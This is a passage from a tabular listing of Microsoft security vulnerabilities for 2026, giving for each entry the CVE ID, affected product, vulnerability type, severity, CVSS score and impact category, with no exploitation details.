No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege 